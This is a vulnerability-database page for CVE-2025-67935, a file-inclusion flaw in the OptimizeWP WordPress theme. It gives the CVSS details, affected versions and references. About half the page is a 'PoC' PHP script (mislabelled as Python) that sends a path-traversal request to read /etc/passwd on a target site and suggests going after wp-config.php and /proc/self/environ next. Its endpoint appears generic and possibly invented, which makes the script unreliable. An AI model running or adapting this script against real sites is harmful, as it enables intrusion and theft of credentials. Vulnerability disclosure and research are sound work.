CVE-2025-67935

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Mikado-Themes Optimize optimizewp allows PHP Local File Inclusion.This issue affects Optimize: from n/a through < 2.4.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:qodeinteractive:optimize:*:*:*:*:*:wordpress:*:* - VULNERABLE

OptimizeWP < 2.4

Optimize: from n/a through < 2.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-67935 PoC - OptimizeWP Local File Inclusion
 * Target: WordPress OptimizeWP Theme < 2.4
 * Author: Security Researcher
 * Usage: Modify TARGET_URL and FILE_PATH as needed
 */

$target_url = 'http://target-wordpress-site.com';
$file_path = '../../../../../../../etc/passwd';

// Construct malicious request
$exploit_url = $target_url . '/wp-content/themes/optimizewp/?file=' . urlencode($file_path);

echo "[*] CVE-2025-67935 Local File Inclusion PoC\n";
echo "[*] Target: " . $target_url . "\n";
echo "[*] Attempting to read: " . $file_path . "\n\n";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 && !empty($response)) {
    echo "[+] Success! File contents:\n";
    echo "---\n";
    echo $response;
    echo "---\n";
} else {
    echo "[-] Exploitation failed or file not accessible\n";
    echo "[*] Try alternative paths: wp-config.php, .htaccess, /proc/self/environ\n";
}
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67935
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67935
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67935/
[4] VulDB https://vuldb.com/cve/CVE-2025-67935
[5] https://patchstack.com/database/Wordpress/Theme/optimizewp/vulnerability/wordpress-optimize-theme-2-4-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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